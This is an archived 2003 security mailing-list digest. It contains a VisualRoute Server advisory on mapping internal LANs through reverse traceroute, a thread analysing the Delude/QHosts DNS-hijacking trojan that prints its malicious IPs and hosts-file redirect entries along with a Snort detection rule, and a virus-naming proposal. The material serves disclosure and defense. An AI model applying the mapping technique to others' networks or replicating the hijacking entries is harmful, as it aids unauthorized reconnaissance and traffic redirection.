---------------- 1. reverse tracerouting fingerprinting / discovery vunerability allowing intranet ( LAN ) mapping by way of Visualroute servers being accessed from the internet ( WAN ) Product: -------- http://www.visualware.com/personal/demo/index.html Reviews: -------- http://www.visualware.com/company/pressroom/coverage.html Description of product: ----------------------- VisualRoute Server adds Web server functionality so that multiple users can easily access the server via a Web browser, regardless of their location. Traces originate from the VisualRoute Server system and may be run back to the end-user location or to any other IP address or Web server. VUNERABILITY / EXPLOIT ====================== the core issue here is that by specififying an internal ip such as 192.168.0.*, 10.*.*.*, or 172.18.18.* or any other reserved ( private ) address you are able to map the internal lan structure via an external ( WAN ) address from the internet. standard trace route example: ------------------------------ standard traceroute server request requesting a trace to from exploitlabs.com to a Visualroute Server we may see.. output.. 12.230.0.205 ( exploitlabs.com ) 12.244.x.5 - isp router 24.x.200.x - target isp router 24.x.240.2 - target destination reached in bla seconds - complete packet loss 0% now on a Visualroute Server the originating trace begins at the target server, traces through routers to dest. so for example asking a server running Visualroute Server the same request we get 24.x.240.2 - target ip 24.x.200.x - target isp router 12.244.x.5 - isp router 12.230.0.205 ( exploitlabs.com ) let us now assume the same target/Visualroute Server is behind a router/switch with port forwarding to the Visualroute Server daemon 192.168.0.2 - target originating system 192.168.0.1 - target router / switch 24.x.200.x - target ip 24.x.240.2 - target isp router 12.244.x.5 - isp router 12.230.0.205 ( exploitlabs.com ) now we can discover the lan topology the traceroure was initiated from, as the origin of the trace is internal to the originating Visualroute Server Local: ------ possibly Remote: ------- yes Vendor Fix: ----------- No fix on 0day Vendor Contact: --------------- Concurrent with this advisory sales at visualware.com see below in this post Credits: -------- Donnie Werner CTO E2 Labs morning_wood at e2-labs.com http://www.e2-labs.com http://nothackers.org - home of the 0day Security List VENDOR RESPONSE ------------------------ > ----- Original Message ----- > From: "Julie Lancaster" > To: "'morning_wood'" > Sent: Wednesday, October 01, 2003 8:42 PM > Subject: RE: Visualroute Server - reverse tracerouting > > > Hello, > > VisualRoute Server has a security option to prevent traces to secure IP > addresses: > > Preventing traces to Secure IP Addresses: To prevent a VisualRoute trace > to a particular IP address (or range of IP addresses), edit the > .\data\user\secure.txt text file (a file you must create). Each line in > this file is "cidr-address,x". For example, here is an example > secure.txt file that secures two IP ranges: > > 198.242.57/24,x > 201.109/16,x > > If there is an attempt to trace directly to any secure IP in this list, > it will be treated like a DNS error (does not exist). If the IP address > shows up in a trace, it will be replaced by the 'x' in the line > definition. > > Regards, > Julie Lancaster > > Visualware Inc. - Internet Security and Performance Tools > www.visualware.com > > -----Original Message----- > From: morning_wood [mailto:se_cur_ity at hotmail.com] > Sent: Wednesday, October 01, 2003 12:47 PM > To: julie.lancaster at visualware.com > Subject: Re: Visualroute Server - reverse tracerouting > > > Julie, thank you very much for the info > and the timely response, did i miss it in the readme ? > > Donnie Werner > CTO e2 labs > http://e2-labs.com/about.htm > > ----- Original Message ----- > From: "Julie Lancaster" > To: "'morning_wood'" > Sent: Wednesday, October 01, 2003 10:25 PM > Subject: RE: Visualroute Server - reverse tracerouting > > > Hello, > > The information is in the on-line manual, not the readme. You may find > it right above the Host/Port section at this link, > http://www.visualware.com/manuals/visualroute/manual.html#hostport. > > We provide the security option, but it is the responsibility of the > administrator to set the security for their requirements. > > Regards, > Julie Lancaster > > Visualware Inc. - Internet Security and Performance Tools > www.visualware.com > ----- Original Message ----- From: "morning_wood" To: Sent: Wednesday, October 01, 2003 11:02 PM Subject: Re: Visualroute Server - reverse tracerouting > my apology, but this... > > -------------- snip ---------------- > Preventing traces to Secure IP Addresses: To prevent a VisualRoute trace to > a particular IP address (or range of IP addresses), edit the > .\data\user\secure.txt text file (a file you must create). Each line in this > file is "cidr-address,x". For example, here is an example secure.txt file > that secures two IP ranges > ------------- snip ------------------ > > should possibly suggest LAN ip address ranges as the info > provided is quite cluless as to even a seasoned admin > i can bet in 99% of users they are just as cluless as the description > itself is. i point out that even your list of servers at > http://www.visualware.com/personal/demo/index.html > *most* are vunerable to this exact attack. > > Donnie Werner > CTO e2-labs.com From guninski at guninski.com Wed Oct 1 17:47:05 2003 From: guninski at guninski.com (Georgi Guninski) Date: Wed, 1 Oct 2003 19:47:05 +0300 Subject: [Full-Disclosure] NINCOMPOOPERY OF MICROSOFT In-Reply-To: <200310011454.h91EsE3a054357@mailserver2.hushmail.com> References: <200310011454.h91EsE3a054357@mailserver2.hushmail.com> Message-ID: <200310011646.TAA08469@home.ntrl.net> Ballmer made it absolutely clear where his company--arguably the biggest target for cybercrime the world over--stands when it comes to hacking, be it malicious code-authoring or what some consider to be ethical programming. Ballmer likens these individuals to criminals who blow up buildings and says the monetary damage is worse. And he takes umbrage with the notion that some are ethical and help to create new innovations for the market by pushing IT to its limits. They should make this clear on their bug reporting page. georgi On Wed, 1 Oct 2003 07:54:12 -0700 wrote: > "Hackers are criminals" Most, he notes, release their malicious code > after patches for Microsoft software have been released, meaning that > they are simply reverse engineering to exploit security weaknesses or > holes in software. - Microsoft CEO Steve Ballmer > > 'ninkum`poop [n] a stupid foolish person See Also: simple, simpleton > > > Microsoft has claimed that the majority of the security bugs reported > by the company?s software users have been traced back to the code provided > by the third party software vendors > > Almost 90 per cent of the problems, that are reported by the users as > part of our automated feedback system, come from the code that is not > provided by Microsoft.? - Chief Technology Officer Craig Mundie > > http://www.internetwk.com/breakingNews/showArticle.jhtml?articleID=15200897 > > http://www.financialexpress.com/fe_full_story.php?content_id=43039 > > > > > > BG > > > > Concerned about your privacy? Follow this link to get > FREE encrypted email: https://www.hushmail.com/?l=2 > > Free, ultra-private instant messaging with Hush Messenger > https://www.hushmail.com/services.php?subloc=messenger&l=434 > > Promote security and make money with the Hushmail Affiliate Program: > https://www.hushmail.com/about.php?subloc=affiliate&l=427 > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From jstewart at lurhq.com Wed Oct 1 21:33:33 2003 From: jstewart at lurhq.com (Joe Stewart) Date: Wed, 1 Oct 2003 16:33:33 -0400 Subject: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int.westgroup.com> References: <63C5D58429F6D41196040006298F207C02B85963@eg-msgmbx-b05.int.westgroup.com> Message-ID: <200310011633.33190.jstewart@lurhq.com> On Wednesday 01 October 2003 03:19 pm, Hansen, Kevin wrote: > We have seen multiple instances where DHCP enabled workstations have > had their DNS reconfigured to point to two of the three addresses > listed below. Can anyone else confirm this? Incidents.org is > reporting an increase in port 53 traffic over the last two days. Are > we looking at the precursor to the next worm? > > 216.127.92.38 > 69.57.146.14 > 69.57.147.175 The top DNS server change was made by a newer variant of the Delude/Startpage trojan. It used to add bogus entries in the system32\drivers\etc\hosts file, but lately has begun to change the user's DNS registry settings as well. It hijacks the user's traffic to and from major search engines, redirecting it to a single webserver under the control of the trojan author. Any requested search pages have popup ads for gambling/porn site registration, presumably because the trojan author is getting money for registrations via affiliate programs. It is being installed via the MS03-032 IE object tag exploit. A scan of the system may not turn up any infected files - this trojan does not run at startup, and deletes its files after the DNS/hosts configuration changes are complete. -Joe -- Joe Stewart, GCIH Senior Security Researcher LURHQ Corporation http://www.lurhq.com/ From pdt at jackhammer.org Thu Oct 2 12:29:00 2003 From: pdt at jackhammer.org (Paul Tinsley) Date: Thu, 02 Oct 2003 06:29:00 -0500 Subject: [Snort-sigs] Re: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <3F7B84E9.60500@jackhammer.org> References: <3F7B84E9.60500@jackhammer.org> Message-ID: <3F7C0BFC.5040909@jackhammer.org> Someone brought to my attention that I neglected udp (thank you Adam), sorry about that I was in a hurry when I posted this, there is another just like the tcp one that says udp :) Both are being triggered by the clients affected as one would expect, so for full coverage, do both. Paul Tinsley wrote: > Don't know if this will help anybody else but I have added this to all > my sensors that see internal traffic headed for firewalls: > > var MAL_DNS [216.127.92.38/32,69.57.146.14/32,69.57.147.175/32] > alert tcp any any <> $MAL_DNS 53 (msg:"Malicious DNS Traffic"; > sid:900027; rev:1;) > > This along with a rule in my alerting software that alerts once per > hour per machine that is triggering this alert seems to be working > pretty well. > > Harris, Michael C. wrote: > >> I have laid hands on a machine hit with the Qhosts-1 Trojan >> It drops a replacement hosts file in the $system%\help\ directory >> and also makes the registry changes described in the NAI posting >> http://vil.nai.com/vil/content/v_100719.htm >> >> DNS detail, hosts file details, captured headers all follow below the >> signature block sorry for the length of message and no I don't have a >> full capture >> >> Mike ------------------------------------------------------------------- >> Michael C Harris >> System Security Analyst - GSEC >> University of Missouri Health Center >> harrismc at health.missouri.edu KC0PAH >> ------------------------------------------------------------------- >> >> DNS changed to 69.57.146.14 69.57.147.175 >> hosts file included the following entries >> >> 88.88.88.88 elite 207.44.194.56 www.google.akadns.net 207.44.194.56 >> www.google.com 207.44.194.56 google.com 207.44.194.56 >> www.altavista.com 207.44.194.56 altavista.com 207.44.194.56 >> search.yahoo.com 207.44.194.56 uk.search.yahoo.com 207.44.194.56 >> ca.search.yahoo.com 207.44.194.56 jp.search.yahoo.com 207.44.194.56 >> au.search.yahoo.com 207.44.194.56 de.search.yahoo.com 207.44.194.56 >> search.yahoo.co.jp 207.44.194.56 www.lycos.de 207.44.194.56 >> www.lycos.ca 207.44.194.56 www.lycos.jp 207.44.194.56 www.lycos.co.jp >> 207.44.194.56 alltheweb.com 207.44.194.56 web.ask.com 207.44.194.56 >> ask.com 207.44.194.56 www.ask.com 207.44.194.56 www.teoma.com >> 207.44.194.56 search.aol.com 207.44.194.56 www.looksmart.com >> 207.44.194.56 auto.search.msn.com 207.44.194.56 search.msn.com >> 207.44.194.56 ca.search.msn.com 207.44.194.56 fr.ca.search.msn.com >> 207.44.194.56 search.fr.msn.be 207.44.194.56 search.fr.msn.ch >> 207.44.194.56 search.latam.yupimsn.com 207.44.194.56 search.msn.at >> 207.44.194.56 search.msn.be 207.44.194.56 search.msn.ch 207.44.194.56 >> search.msn.co.in 207.44.194.56 search.msn.co.jp 207.44.194.56 >> search.msn.co.kr 207.44.194.56 search.msn.com.br 207.44.194.56 >> search.msn.com.hk 207.44.194.56 search.msn.com.my 207.44.194.56 >> search.msn.com.sg 207.44.194.56 search.msn.com.tw 207.44.194.56 >> search.msn.co.za 207.44.194.56 search.msn.de 207.44.194.56 >> search.msn.dk 207.44.194.56 search.msn.es 207.44.194.56 search.msn.fi >> 207.44.194.56 search.msn.fr 207.44.194.56 search.msn.it 207.44.194.56 >> search.msn.nl 207.44.194.56 search.msn.no 207.44.194.56 search.msn.se >> 207.44.194.56 search.ninemsn.com.au 207.44.194.56 search.t1msn.com.mx >> 207.44.194.56 search.xtramsn.co.nz 207.44.194.56 search.yupimsn.com >> 207.44.194.56 uk.search.msn.com 207.44.194.56 search.lycos.com >> 207.44.194.56 www.lycos.com 207.44.194.56 www.google.ca 207.44.194.56 >> google.ca 207.44.194.56 www.google.uk 207.44.194.56 www.google.co.uk >> 207.44.194.56 www.google.com.au 207.44.194.56 www.google.co.jp >> 207.44.194.56 www.google.jp 207.44.194.56 www.google.at 207.44.194.56 >> www.google.be 207.44.194.56 www.google.ch 207.44.194.56 www.google.de >> 207.44.194.56 www.google.se 207.44.194.56 www.google.dk 207.44.194.56 >> www.google.fi 207.44.194.56 www.google.fr 207.44.194.56 >> www.google.com.gr 207.44.194.56 www.google.com.hk 207.44.194.56 >> www.google.ie 207.44.194.56 www.google.co.il 207.44.194.56 >> www.google.it 207.44.194.56 www.google.co.kr 207.44.194.56 >> www.google.com.mx 207.44.194.56 www.google.nl 207.44.194.56 >> www.google.co.nz 207.44.194.56 www.google.pl 207.44.194.56 >> www.google.pt 207.44.194.56 www.google.com.ru 207.44.194.56 >> www.google.com.sg 207.44.194.56 www.google.co.th 207.44.194.56 >> www.google.com.tr 207.44.194.56 www.google.com.tw 207.44.194.56 >> go.google.com 207.44.194.56 google.at 207.44.194.56 google.be >> 207.44.194.56 google.de 207.44.194.56 google.dk 207.44.194.56 >> google.fi 207.44.194.56 google.fr 207.44.194.56 google.com.hk >> 207.44.194.56 google.ie 207.44.194.56 google.co.il 207.44.194.56 >> google.it 207.44.194.56 google.co.kr 207.44.194.56 google.com.mx >> 207.44.194.56 google.nl 207.44.194.56 google.co.nz 207.44.194.56 >> google.pl 207.44.194.56 google.com.ru 207.44.194.56 google.com.sg >> 207.44.194.56 www.hotbot.com 207.44.194.56 hotbot.com >> sample headers 2003/10/01-16:54:05.242697 161.130.204.xxx.2306 > >> 207.44.220.30.http: S 22870760:22870760(0) win 8192 (DF) >> 2003/10/01-16:54:05.281848 207.44.220.30.http > 161.130.204.xxx.2306: >> S 1904832103:1904832103(0) ack 22870761 win 5840 (DF) >> 2003/10/01-16:54:05.282723 161.130.204.xxx.2306 > 207.44.220.30.http: >> . ack 1904832104 win 8760 (DF) >> 2003/10/01-16:54:05.283772 161.130.204.xxx.2306 > 207.44.220.30.http: >> P 22870761:22871132(371) ack 1904832104 win 8760 (DF) >> 2003/10/01-16:54:05.326527 207.44.220.30.http > 161.130.204.xxx.2306: >> . ack 22871132 win 6432 (DF) >> 2003/10/01-16:54:05.328614 207.44.220.30.http > 161.130.204.xxx.2306: >> . 1904832104:1904833564(1460) ack 22871132 win 6432 (DF) >> 2003/10/01-16:54:05.329041 207.44.220.30.http > 161.130.204.xxx.2306: >> . 1904833564:1904835024(1460) ack 22871132 win 6432 (DF) >> 2003/10/01-16:54:05.330076 161.130.204.xxx.2306 > 207.44.220.30.http: >> . ack 1904835024 win 8760 (DF) >> 2003/10/01-16:54:05.372888 207.44.220.30.http > 161.130.204.xxx.2306: >> P 1904835024:1904836392(1368) ack 22871132 win 6432 (DF) >> 2003/10/01-16:54:05.446322 161.130.204.xxx.2306 > 207.44.220.30.http: >> P 22871132:22871449(317) ack 1904836392 win 7392 (DF) >> 2003/10/01-16:54:05.487111 207.44.220.30.http > 161.130.204.xxx.2306: >> . 1904836392:1904837852(1460) ack 22871449 win 7504 (DF) >> 2003/10/01-16:54:05.487281 207.44.220.30.http > 161.130.204.xxx.2306: >> . 1904837852:1904839312(1460) ack 22871449 win 7504 (DF) >> 2003/10/01-16:54:05.487542 207.44.220.30.http > 161.130.204.xxx.2306: >> . 1904839312:1904840772(1460) ack 22871449 win 7504 (DF) >> 2003/10/01-16:54:05.488322 161.130.204.xxx.2306 > 207.44.220.30.http: >> . ack 1904839312 win 8760 (DF) >> 2003/10/01-16:54:05.526875 207.44.220.30.http > 161.130.204.xxx.2306: >> P 1904840772:1904842232(1460) ack 22871449 win 7504 (DF) >> 2003/10/01-16:54:05.527184 207.44.220.30.http > 161.130.204.xxx.2306: >> . 1904842232:1904843692(1460) ack 22871449 win 7504 (DF) >> 2003/10/01-16:54:05.527370 207.44.220.30.http > 161.130.204.xxx.2306: >> . 1904843692:1904845152(1460) ack 22871449 win 7504 (DF) >> 2003/10/01-16:54:05.528025 161.130.204.xxx.2306 > 207.44.220.30.http: >> . ack 1904842232 win 8760 (DF) >> 2003/10/01-16:54:05.528382 161.130.204.xxx.2306 > 207.44.220.30.http: >> . ack 1904845152 win 8760 (DF) >> 2003/10/01-16:54:05.571528 207.44.220.30.http > 161.130.204.xxx.2306: >> P 1904845152:1904845237(85) ack 22871449 win 7504 (DF) >> 2003/10/01-16:54:05.750111 161.130.204.xxx.2306 > 207.44.220.30.http: >> . ack 1904845237 win 8675 (DF) >> 2003/10/01-16:54:16.288182 161.130.204.xxx.2306 > 207.44.220.30.http: >> P 22871449:22871911(462) ack 1904845237 win 8675 (DF) >> 2003/10/01-16:54:16.329439 207.44.220.30.http > 161.130.204.xxx.2306: >> . 1904845237:1904846697(1460) ack 22871911 win 8576 (DF) >> 2003/10/01-16:54:16.329929 207.44.220.30.http > 161.130.204.xxx.2306: >> . 1904846697:1904848157(1460) ack 22871911 win 8576 (DF) >> 2003/10/01-16:54:16.330970 161.130.204.xxx.2306 > 207.44.220.30.http: >> . ack 1904848157 win 8760 (DF) >> 2003/10/01-16:54:16.370436 207.44.220.30.http > 161.130.204.xxx.2306: >> P 1904848157:1904848507(350) ack 22871911 win 8576 (DF) >> 2003/10/01-16:54:16.548259 161.130.204.xxx.2306 > 207.44.220.30.http: >> . ack 1904848507 win 8410 (DF) >> 2003/10/01-16:54:31.778347 207.44.220.30.http > 161.130.204.xxx.2306: >> F 1904848507:1904848507(0) ack 22871911 win 8576 (DF) >> 2003/10/01-16:54:31.779090 161.130.204.xxx.2306 > 207.44.220.30.http: >> . ack 1904848508 win 8410 (DF) >> 2003/10/01-16:54:33.545827 161.130.204.xxx.2306 > 207.44.220.30.http: >> R 22871911:22871911(0) win 0 (DF) >> >> >> >> >> >> >> -----Original Message----- >> From: David Vincent [mailto:david.vincent at mightyoaks.com] >> Sent: Wednesday, October 01, 2003 5:01 PM >> To: full-disclosure at lists.netsys.com >> Subject: RE: [Full-Disclosure] Mystery DNS Changes >> >> >> it was said.... >> >> ------------------ >> We have seen multiple instances where DHCP enabled workstations have >> had their DNS reconfigured to point to two of the three addresses >> listed below. Can anyone else confirm this? Incidents.org is >> reporting an increase in port 53 traffic over the last two days. Are >> we looking at the precursor to the next worm? 216.127.92.38 >> 69.57.146.14 69.57.147.175 >> Are these entries coming in the DHCP packets or are they being set >> *after* DHCP is complete? Are compromised systems acting like DHCP >> servers stuffing their own DNS entries into specially crafted >> replies? Can you post traffic dumps? ------------------ >> >> _______________________________________________ >> Full-Disclosure - We believe in it. >> Charter: http://lists.netsys.com/full-disclosure-charter.html >> >> > > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Welcome to geek heaven. > http://thinkgeek.com/sf > _______________________________________________ > Snort-sigs mailing list > Snort-sigs at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/snort-sigs From etomcat at freemail.hu Thu Oct 2 13:21:21 2003 From: etomcat at freemail.hu (Feher Tamas) Date: Thu, 2 Oct 2003 14:21:21 +0200 (CEST) Subject: [Full-Disclosure] Asynchronous, industry-wide virus naming scheme proposed Message-ID: Dear IT Security Community, The June 2003 issue of the Virus Bulletin paper (page 13) contains a report about EICAR-2003 antivirus research conference in Copenhagen. The third paragraph says: "she called for the implementation of industry standards, beginning with synergistic naming schemes. The suggestion of a numerical naming scheme for viruses prompted discussion amongst delegates - many agreed such a scheme would be a helpful solution, while others felt that their users would not respond as well to warnings about a numerically named virus as they would to viruses with more memorable names." The autumn 2003 conference of computer virus researchers in Toronto also discussed malware ID woes, like conflicting names, media-flashy names vs. numeric/structured names, voluntary or standardized naming, privacy and copyright issues with virus names, etc. at great depth , but apparently without any breakthrough. These examples show the real-world need for a viable solution. Well, I have a novel idea, which stems from the observation that zero-minute coherent virus naming is impossible. Let me reason: Considering the free market competition in the AV industry and the short timeframe between vendors receiving sample and releasing detection, few hours are available for naming newly discovered viruses. Considering the well-know computer science theorem, which says it is impossible to write a software, that successfully compresses each and any arbitirary file; it is impossible to coherently name viruses without vendors sharing full samples with each other, because information relevant to the process of naming malware may reside anywhere in the sample or even the decompiled source. As you know, AV vendors only share samples among each other monthly. They guard their partially proprietary malware sample collection sets strictly. This situation is legitimate and is not going to change, period. Yet, I propose a project that reduces its scope to reaching a uniform and industry-wide virus name for any malware some 24-36h after the first discovery is still feasible and realistic. I mean a virus name which can then be cascaded down, back to even the desktop AV programs and it will help alleviate the woes of the current name turmoil situation. Yes, it would be a kind of a minimalistic concept, but I hold that it shall be acceptable to all interested parties, which cannot be said of other proposals. Of course, I know there are several difficulties to solve, but I think this system would blend well with the current, heavily segmented antivirus arena. It is taken for granted that AV vendors would never succumb to a monopoly-based standardized virus naming scheme, because it would give too much control to Microsoft, CERT or FBI or whoever else in control of the system. My idea to solve the above dilemma is: why not implement a system for industry-wide virus identification, called Virus Name System (VNS), somewhat similar in its nature to the distributed Domain Name System (DNS) of the Internet. Numerical (abstract) virus ID would be analogous to the IP address and virus names replace the host name. Just like a particular IP address can have several host names associated with it, a numerical virus ID could absorb two, three or seven virus names from different vendors and allow for a dismissal of less-favoured names over the time to keep the single real one. Inter-vendor discussions conducted across the phone or the coffe table as to which name fits a particular malware the best is not addressed in this paper. Just like the current Net system of 13 root level DNS servers and thousands of lesser DNS servers, the virus naming network would be a distributed one, but inevitably less open. A handful of "root virusname servers" should be established, based on a geographical/cultural divisions on the globe. For example, it is well known that Asia, especially South Korea has a computer virus culture that is vastly different from the rest of the world. Locale specific DOS virii are still popular there, etc. Several root VNS servers can accomodate that. Each of these "root" servers would be controlled by a voluntary group composed of the major AV vendors, those who are most significant in that geographical area and these servers would replicate among each other, according to predefined rules. (Considering the need for comparative virus detection rate testing, etc. maybe a single super-root VNS server should be established, probably in the hands of the current V-Grep staff or some other independent 3rd party. But this should be a strictly write-only server, one that NEVER serves the public, to prevent abuse of power). Each AV vendor would have its very own virusname server(s), where they upload their virus name and abstract ID record for all malware they detect. When the virus samples's data and name is uploaded from vendor server(s) to "root VNS" servers it becomes universally accepted. Of course this step requires human supervision! Just like the Net DNS system contains miscellanous info to help identification, like owner name, owner's street address, domain registrar's name, etc.; the virname system entries stored on root-VNS servers should have records, formalized technical data, which is verbose enough to determine if several differently named virus entries submitted from diverse vendor virname servers are actually the same. [I think this detail is most problematic, may even defy solution. Luckily, this issue is only present in interoperation between vendor-VNS and root-VNS servers. The interoperation between antivirus software and vendor-VNS server is easy, as virus names are always unique and directly related within a single AV vendor. This cannot be said with guarantee when speaking of several vendors. Therefore, formalized data must be maintained beyond each virus name entry. This is complicated, both technically and legally, I could think of in the likeness of a national registry of people's identity, where their names and photos are backed by their DNA sample. I may have a guess how to do this correctly, see the footnote (*) ] Virus scanning software (the computer programs that customers buy) should incorporate a new feature: when a malicious object is found, it should ask the vendor-VNS server for the name of that malware, based on a query with the virus name which is already hardcoded in its signature database files. If the VNS server replies with another, more authorative name (because the vendor-VNS has been synchronized with Root-VNS, where another name has been choosen for that particular malware) anti-virus software should display that industry- wide name to the user, not the proprietary one. If there is no match, it should fall back to the virus name which is found hardcoded in its virus signature files. The substance is, the end user and/or security administrator should be confronted with the most authoritive name, whenever avilable. Protocol spoken between antivirus software and vendor-VNS servers should be a simple (probably http-based) one, where only vnames data is discussed. However, full protocol conducted between VNS-servers will be a more complex one (probably X.509/LDAP or SQL based) because both virusnames and abstract malware data will need to be negotiated. Whether or not conversation between anti-virus software and abritrary VNS servers should be allowed remains to be seen, as this would enhance complexity and raise security issues. The full protocol access doesn't even need to be publicly available. For demanding, high security or very big customers, the solution is to field their own corporate VNS server, which may even have off-band (non-Internet based) connection to vendors' VNS servers with reliability or QoS guarantees. This extra service would be a new revenue stream opportunity for AV vendors. I would like to repeat, that this is a kind of a minimalistic concept, one that allows reaching a uniform and industry-wide virus name for any malware probably some 24-36h after fist finding. Of course, during the first day, virus naming confusion and chaos may still rule. I'm not sure if the proposed solution can solve the media FUD (a.k.a. CNN factor), which problem was emphasized in the Toronto antivirus conference. Thanks for your attention, Sincerely: Tamas Feher from Hungary. (*) Footnote: Sorry, this is not included in the posting to full-disclosure mailing list, because it is too weird for the public and/or could hurt some AV-vendors. From prandal at herefordshire.gov.uk Thu Oct 2 13:31:06 2003 From: prandal at herefordshire.gov.uk (Randal, Phil) Date: Thu, 2 Oct 2003 13:31:06 +0100 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: <0EBC45FCABFC95428EBFC3A51B368C9551390F@jessica.herefordshire.gov.uk> NAI has this as QHosts-1, and says MS03-032 does NOT protect against it: http://vil.nai.com/vil/content/v_100719.htm Cheers, Phil --------------------------------------------- Phil Randal Network Engineer Herefordshire Council Hereford, UK > -----Original Message----- > From: Joe Stewart [mailto:jstewart at lurhq.com] > Sent: 01 October 2003 21:34 > To: full-disclosure-orig at netsys.com > Cc: full-disclosure at lists.netsys.com > Subject: Re: [Full-Disclosure] Mystery DNS Changes > > > On Wednesday 01 October 2003 03:19 pm, Hansen, Kevin wrote: > > We have seen multiple instances where DHCP enabled workstations have > > had their DNS reconfigured to point to two of the three addresses > > listed below. Can anyone else confirm this? Incidents.org is > > reporting an increase in port 53 traffic over the last two days. Are > > we looking at the precursor to the next worm? > > > > 216.127.92.38 > > 69.57.146.14 > > 69.57.147.175 > > The top DNS server change was made by a newer variant of the > Delude/Startpage trojan. It used to add bogus entries in the > system32\drivers\etc\hosts file, but lately has begun to change the > user's DNS registry settings as well. It hijacks the user's > traffic to > and from major search engines, redirecting it to a single webserver > under the control of the trojan author. Any requested search > pages have > popup ads for gambling/porn site registration, presumably because the > trojan author is getting money for registrations via affiliate > programs. > > It is being installed via the MS03-032 IE object tag exploit. > A scan of > the system may not turn up any infected files - this trojan does not > run at startup, and deletes its files after the DNS/hosts > configuration > changes are complete. > > -Joe > > -- > Joe Stewart, GCIH > Senior Security Researcher > LURHQ Corporation > http://www.lurhq.com/ > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > From pdt at jackhammer.org Thu Oct 2 14:20:37 2003 From: pdt at jackhammer.org (Paul Tinsley) Date: Thu, 02 Oct 2003 08:20:37 -0500 Subject: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <0EBC45FCABFC95428EBFC3A51B368C9551390F@jessica.herefordshire.gov.uk> References: <0EBC45FCABFC95428EBFC3A51B368C9551390F@jessica.herefordshire.gov.uk> Message-ID: <3F7C2625.7020508@jackhammer.org> Ya, there is a tiny line on page 3 of the security buleten that says that it doesn't fix the Object Type Vulnerability. Awful nice of them to let people know... Also they haven't commited to a date that a working patch will be available, end of October is the best I have heard. To make it worse all the AV vendors are basing their signatures off of the AOLFIX.EXE instead of the behavior that allows the problem. So v1.1 will have no problem making it through the gates. And Microsofts mitigation suggestions are to set ActiveX to prompt in the Intranet and Internet zones... right, cause end users aren't already trained to hit yes to every box that shows up. Randal, Phil wrote: >NAI has this as QHosts-1, and says MS03-032 does NOT protect against it: > > http://vil.nai.com/vil/content/v_100719.htm > >Cheers, > >Phil > >--------------------------------------------- >Phil Randal >Network Engineer >Herefordshire Council >Hereford, UK > > > >>-----Original Message----- >>From: Joe Stewart [mailto:jstewart at lurhq.com] >>Sent: 01 October 2003 21:34 >>To: full-disclosure-orig at netsys.com >>Cc: full-disclosure at lists.netsys.com >>Subject: Re: [Full-Disclosure] Mystery DNS Changes >> >> >>On Wednesday 01 October 2003 03:19 pm, Hansen, Kevin wrote: >> >> >>>We have seen multiple instances where DHCP enabled workstations have >>>had their DNS reconfigured to point to two of the three addresses >>>listed below. Can anyone else confirm this? Incidents.org is >>>reporting an increase in port 53 traffic over the last two days. Are >>>we looking at the precursor to the next worm? >>> >>>216.127.92.38 >>>69.57.146.14 >>>69.57.147.175 >>> >>> >>The top DNS server change was made by a newer variant of the >>Delude/Startpage trojan. It used to add bogus entries in the >>system32\drivers\etc\hosts file, but lately has begun to change the >>user's DNS registry settings as well. It hijacks the user's >>traffic to >>and from major search engines, redirecting it to a single webserver >>under the control of the trojan author. Any requested search >>pages have >>popup ads for gambling/porn site registration, presumably because the >>trojan author is getting money for registrations via affiliate >>programs. >> >>It is being installed via the MS03-032 IE object tag exploit. >>A scan of >>the system may not turn up any infected files - this trojan does not >>run at startup, and deletes its files after the DNS/hosts >>configuration >>changes are complete. >> >>-Joe >> >>-- >>Joe Stewart, GCIH >>Senior Security Researcher >>LURHQ Corporation >>http://www.lurhq.com/ >>_______________________________________________ >>Full-Disclosure - We believe in it. >>Charter: http://lists.netsys.com/full-disclosure-charter.html >> >> >> > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.netsys.com/full-disclosure-charter.html > > From HarrisMC at health.missouri.edu Thu Oct 2 14:24:31 2003 From: HarrisMC at health.missouri.edu (Harris, Michael C.) Date: Thu, 2 Oct 2003 08:24:31 -0500 Subject: [Full-Disclosure] Mystery DNS Changes Message-ID: I can confirm from direct personal experience that MS03-032 -does not- protect against it. ------------------------------------------------------------------- Michael C Harris System Security Analyst - GSEC University of Missouri Health Center harrismc at health.missouri.edu KC0PAH ------------------------------------------------------------------- -----Original Message----- From: Randal, Phil [mailto:prandal at herefordshire.gov.uk] Sent: Thursday, October 02, 2003 7:31 AM To: full-disclosure at lists.netsys.com Subject: RE: [Full-Disclosure] Mystery DNS Changes NAI has this as QHosts-1, and says MS03-032 does NOT protect against it: http://vil.nai.com/vil/content/v_100719.htm Cheers, Phil --------------------------------------------- Phil Randal Network Engineer Herefordshire Council Hereford, UK From jstewart at lurhq.com Thu Oct 2 14:23:46 2003 From: jstewart at lurhq.com (Joe Stewart) Date: Thu, 2 Oct 2003 09:23:46 -0400 Subject: [Full-Disclosure] Mystery DNS Changes In-Reply-To: <0EBC45FCABFC95428EBFC3A51B368C9551390F@jessica.herefordshire.gov.uk> References: <0EBC45FCABFC95428EBFC3A51B368C9551390F@jessica.herefordshire.gov.uk> Message-ID: <200310020923.46390.jstewart@lurhq.com> On Thursday 02 October 2003 08:31 am, Randal, Phil wrote: > NAI has this as QHosts-1, and says MS03-032 does NOT protect against > it: F-Secure named this trojan "Delude" days ago. NAI's QHosts-1 is just a variant. It is well known that MS0-032 is not 100% effective, so definately no one should think they are immune to this or any other hostile object tags just because they have that patch. Everyone running IE should disable active scripting if they want to avoid these little surprises. -Joe -- Joe Stewart, GCIH Senior Security Researcher LURHQ Corporation http://www.lurhq.com/ From visigoth at securitycentric.com Thu Oct 2 14:48:14 2003 From: visigoth at securitycentric.com (visigoth) Date: Thu, 2 Oct 2003 06:48:14 -0700 Subject: [Full-Disclosure] New Tool: MetaCoretex (DB Security Scanner) Message-ID: <20031002064814.A24240@niobi.securitycentric.com> Greetings all! I am pleased to announce the initial public release of a toy I have been working on for a little while now... MetaCoretex is an OpenSource, JAVA based, database capable security scanner with a kewl set of features. We have a bunch of spiffy probes already which are capable of doing fun things to 